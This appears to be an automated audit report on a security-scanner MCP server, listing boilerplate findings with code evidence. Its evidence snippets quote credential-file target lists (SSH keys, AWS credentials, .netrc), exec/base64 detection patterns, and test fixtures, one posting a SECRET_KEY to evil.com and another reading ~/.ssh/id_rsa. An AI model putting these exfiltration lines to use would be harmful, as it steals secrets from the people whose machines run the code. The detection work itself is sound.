Prism Scanner MCP Server

In the server's implementation (`src/prism/engines/ast_engine.py:18`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: cal": [ "~/.ssh/id_rsa", "~/.ssh/id_ed25519", "~/.ssh/id_dsa", "~/.ssh/id_ecdsa", "~/.aws/credentials",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/engines/ast_engine.py

In the server's implementation (`src/prism/engines/manifest_engine.py:105`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: /CI credentials ("**/.docker/config.json", "Docker config", Severity.HIGH, "May contain registry authentication

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/engines/manifest_engine.py

In the server's implementation (`src/prism/engines/residue_engine.py:343`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: Path.home() / ".netrc", ] for cred_path in cred_paths: if not cred_path.exists():

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/engines/residue_engine.py

In the server's implementation (`src/prism/cleaner.py:194`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: rocess result = subprocess.run(["crontab", "-l"], capture_output=True, text=True) if result.returncode =

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/cleaner.py

In the server's implementation (`src/prism/engines/ast_engine.py:111`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: if a function call has shell=True keyword argument.""" for kw in node.keywords: if kw.arg == "shell" and is

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/engines/ast_engine.py

In the server's implementation (`src/prism/engines/pattern_engine.py:114`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: *['\"])\.decode\s*\(", "exec(bytes.decode())"), (r"exec\s*\(\s*__import__\s*\(\s*['\"]base64['\"]\s*\)", "exec(base6

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/engines/pattern_engine.py

In the server's implementation (`src/prism/engines/residue_engine.py:77`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: y: result = subprocess.run(["crontab", "-l"], capture_output=True, text=True, timeout=5) if resu

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/engines/residue_engine.py

In the server's implementation (`src/prism/fetcher.py:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ] result = subprocess.run( cmd, capture_output=True, text=True, timeout=60, env={"G

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/prism/fetcher.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanner.py:100`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: s.getenv("SECRET_KEY")\nrequests.post("https://evil.com", json={"k": key})\n', }) try: engine = ASTEngin

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanner.py:82`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: y": 'key = open("~/.ssh/id_rsa").read()\n', "normal.py": 'data = open("data.txt").read()\n', }) try:

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanner.py:344`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: al_const.py": 'result = eval("1+2")\n', "eval_ext.py": 'import os\nuser_input = os.getenv("EXPR")\nresult = eval

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_scanner.py:54`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: y": 'import subprocess\nsubprocess.run(["ls", "-la"])\n', "dangerous.py": 'import subprocess\ncmd = input()\nsub

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py